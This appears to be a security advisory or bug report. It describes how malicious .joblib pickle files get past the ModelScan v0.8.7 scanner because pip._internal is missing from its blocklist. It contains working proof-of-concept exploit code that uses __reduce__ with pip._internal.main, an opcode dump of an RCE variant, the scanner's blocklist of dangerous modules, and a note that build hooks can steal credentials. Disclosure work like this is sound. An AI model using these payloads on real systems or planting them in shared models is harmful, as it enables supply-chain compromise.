scanner_bypass_rce.joblib (103 bytes) - RCE proof: downloads a file to /tmp/joblib_rce_proof/
Vulnerability Summary
Tested on: ModelScan v0.8.7
ModelScan does not include pip or pip._internal in its CRITICAL blocklist for unsafe Pickle operations. Since Joblib uses Pickle internally for serialization, this gap directly affects .joblib files.
A malicious Joblib file can:
Pass ModelScan security checks, returning "No issues found"
Execute arbitrary code during deserialization via pip._internal.main(...)
Enable supply-chain attacks, since malicious sklearn models appear harmless
This is the same vulnerability class as CVE-2025-1716 (picklescan pip.main() bypass), but affects ModelScan.
Proof of Bypass
ModelScan Output (Both Files)
$ modelscan --version
modelscan, version 0.8.7
$ modelscan --path scanner_bypass_poc.joblib
Scanning scanner_bypass_poc.joblib using modelscan.scanners.PickleUnsafeOpScan
--- Summary ---
No issues were found!
$ modelscan --path scanner_bypass_rce.joblib
Scanning scanner_bypass_rce.joblib using modelscan.scanners.PickleUnsafeOpScan
--- Summary ---
No issues were found!
Payloads
PoC Payload (scanner_bypass_poc.joblib)
Purpose: Safe demonstration - displays pip install help text
python
1import joblib
23classPipBypassPoC:4def__reduce__(self):5from pip._internal import main
6return main,(['install','--help'],)78joblib.dump(PipBypassPoC(),'scanner_bypass_poc.joblib')
Code executes despite "No issues found" scan result.
Pickle Opcodes (RCE Variant)
0: \x80 PROTO 4
11: \x8c SHORT_BINUNICODE 'pip._internal' <- Module NOT in blocklist
27: \x8c SHORT_BINUNICODE 'main' <- Function to call
34: \x93 STACK_GLOBAL <- pip._internal.main
39: \x8c SHORT_BINUNICODE 'download'
50: \x8c SHORT_BINUNICODE '--no-deps'
62: \x8c SHORT_BINUNICODE '-d'
67: \x8c SHORT_BINUNICODE '/tmp/joblib_rce_proof'
91: \x8c SHORT_BINUNICODE 'pip'
100: R REDUCE <- Execute pip._internal.main([...])
ModelScan Blocklist Analysis
Current blocklist in modelscan/settings.py - pip is MISSING:
python
1"CRITICAL":{2"__builtin__":["eval","compile","getattr","apply","exec","open","breakpoint","__import__"],3"builtins":["eval","compile","getattr","apply","exec","open","breakpoint","__import__"],4"runpy":"*",5"os":"*",6"nt":"*",7"posix":"*",8"socket":"*",9"subprocess":"*",10"sys":"*",11"operator":["attrgetter"],12"pty":"*",13"pickle":"*",14"_pickle":"*",15"bdb":"*",16"pdb":"*",17"shutil":"*",18"asyncio":"*",19# "pip" is NOT here!20# "pip._internal" is NOT here!21},
Attack Scenario
Attacker creates malicious PyPI package with RCE in build hooks:
python
1# pyproject.toml or setup.py hooks can execute arbitrary code2# Example: exfiltrate credentials, establish reverse shell, etc.